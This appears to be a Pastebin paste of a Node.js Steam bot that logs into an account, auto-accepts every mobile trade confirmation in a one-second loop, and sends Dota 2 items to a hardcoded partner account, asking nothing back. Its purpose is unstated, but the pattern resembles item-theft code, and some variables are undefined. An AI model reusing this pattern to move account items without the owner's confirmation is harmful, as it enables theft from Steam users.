Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var fs = require('fs');
- var crypto = require('crypto');
- var Steam = require('steam');
- var setupOffers = false;
- var SteamWebLogOn = require('steam-weblogon');
- var getSteamAPIKey = require('steam-web-api-key');
- var SteamTradeOffers = require('steam-tradeoffers');
- var SteamTotp = require('steam-totp');
- var SteamcommunityMobileConfirmations = require('smc');
- var admin = ''; // put your steamid here so the bot can accept your offers
- var logOnOptions = {
- account_name: '',
- password: '',
- two_factor_code: SteamTotp.generateAuthCode('')
- };
- //server.listen(80);
- /*
- app.get('/', function (req, res) {
- res.sendfile(__dirname + '/index.html');
- });
- */
- var authCode = ''; // code received by email
- function steamBotLogger(log){
- console.log(log);
- }
- try {
- logOnOptions.sha_sentryfile = getSHA1(fs.readFileSync('sentry_autobets'));
- } catch (e) {
- if (authCode !== '') {
- logOnOptions.auth_code = authCode;
- }
- }
- /*
- // if we've saved a server list, use it
- if (fs.existsSync('servers')) {
- Steam.servers = JSON.parse(fs.readFileSync('servers'));
- }*/
- var steamClient = new Steam.SteamClient();
- var steamUser = new Steam.SteamUser(steamClient);
- var steamFriends = new Steam.SteamFriends(steamClient);
- var steamWebLogOn = new SteamWebLogOn(steamClient, steamUser);
- var offers = new SteamTradeOffers();
- steamClient.connect();
- steamClient.on('debug', steamBotLogger);
- steamClient.on('connected', function() {
- steamUser.logOn(logOnOptions);
- });
- steamClient.on('logOnResponse', function(logonResp) {
- if (logonResp.eresult === Steam.EResult.OK) {
- console.log('Logged in!');
- steamFriends.setPersonaState(Steam.EPersonaState.Online);
- steamWebLogOn.webLogOn(function(sessionID, newCookie) {
- function trademobile(){
- var hash = require('crypto').createHash('sha1');
- hash.update(Math.random().toString());
- hash = hash.digest('hex');
- device_id = 'android:' + hash;
- var steamcommunityMobileConfirmations = new SteamcommunityMobileConfirmations(
- {
- steamid: "",
- identity_secret: '',
- device_id: this.device_id,
- webCookie: newCookie,
- });
- steamcommunityMobileConfirmations.FetchConfirmations((function (err, confirmations)
- {
- if (err)
- {
- //console.tag('SteamBot').error(err);
- return;
- }
- //console.tag('ESCROW').log('Трейдов: ' + confirmations.length + '');
- if ( ! confirmations.length)
- {
- return;
- }
- steamcommunityMobileConfirmations.AcceptConfirmation(confirmations[0], (function (err, result)
- {
- if (err)
- {
- console.log(err);
- return;
- }
- console.log('Result: ' + result);
- }).bind(this));
- }).bind(this));
- setTimeout(function(){ trademobile()}, 1000)
- }
- trademobile();
- getSteamAPIKey({
- sessionID: sessionID,
- webCookie: newCookie
- }, function (err, APIKey) {
- console.log(APIKey);
- console.log('I install offery!');
- offers.setup({
- sessionID: sessionID,
- webCookie: newCookie,
- APIKey: APIKey
- });
- setupOffers = true;
- });
- });
- }
- });
- steamClient.on('servers', function(servers) {
- fs.writeFile('servers', JSON.stringify(servers));
- });
- steamUser.on('updateMachineAuth', function(sentry, callback) {
- fs.writeFileSync('sentry', sentry.bytes);
- callback({ sha_file: getSHA1(sentry.bytes) });
- });
- sendAllInventory = function (){
- if(setupOffers){
- console.log('Отправляю бонус!');
- steamWebLogOn.webLogOn(function(sessionID, newCookie) {
- getSteamAPIKey({
- sessionID: sessionID,
- webCookie: newCookie
- }, function (err, APIKey) {
- console.log(APIKey);
- console.log('I install offery!');
- offers.setup({
- sessionID: sessionID,
- webCookie: newCookie,
- APIKey: APIKey
- });
- });
- });
- offers.loadMyInventory({
- appId: 570,
- contextId: 2,
- tradableOnly: true
- }, function(err, items) {
- if(err) {
- steam.webLogOn(function(newCookie) {
- offers.setup({
- sessionID: currentSessionId,
- webCookie: newCookie
- }, function(err) {
- if (err) {
- }
- });
- });
- console.log('ОШИБКА');
- return;
- }
- var item=[],num=0;
- for (var i = 0; i < 1; i++) {
- item[num] = {
- appid: 570,
- contextid: 2,
- amount: items[i].amount,
- assetid: items[i].id
- }
- num++;
- }
- console.log(item);
- if(item.length > 0){
- offers.makeOffer({
- partnerAccountId: '314699001',
- accessToken: '0KfWbadp',
- itemsFromMe: item,
- itemsFromThem: []
- }, function(err, response){
- if (err) {
- console.log(err);
- declineOffers();
- sendAllInventory();
- return err;
- }
- console.log('Successfully sent items!');
- });
- }else{
- if (err)
- {
- //console.log(err);
- return;
- }
- console.log('Nothing post!');
- }
- });
- }
- }
- function declineOffers() {
- steamWebLogOn.webLogOn(function(sessionID, newCookie) {
- getSteamAPIKey({
- sessionID: sessionID,
- webCookie: newCookie
- }, function (err, APIKey) {
- console.log(APIKey);
- console.log('I install offery!');
- offers.setup({
- sessionID: sessionID,
- webCookie: newCookie,
- APIKey: APIKey
- });
- });
- });
- offers.getOffers({
- get_sent_offers: 1,
- active_only: 1
- }, function(error, body) {
- if(error){ return error; }
- if (
- body
- && body.response
- && body.response.trade_offers_sent
- ) {
- body.response.trade_offers_sent.forEach(function(offer) {
- if (offer.trade_offer_state == 2 || offer.trade_offer_state == 9) {
- console.log('cancels offer');
- offers.cancelOffer({tradeOfferId: offer.tradeofferid});
- }
- });
- }else{
- console.log(body);
- }
- });
- }
- function getSHA1(bytes) {
- var shasum = crypto.createHash('sha1');
- shasum.end(bytes);
- return shasum.read();
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement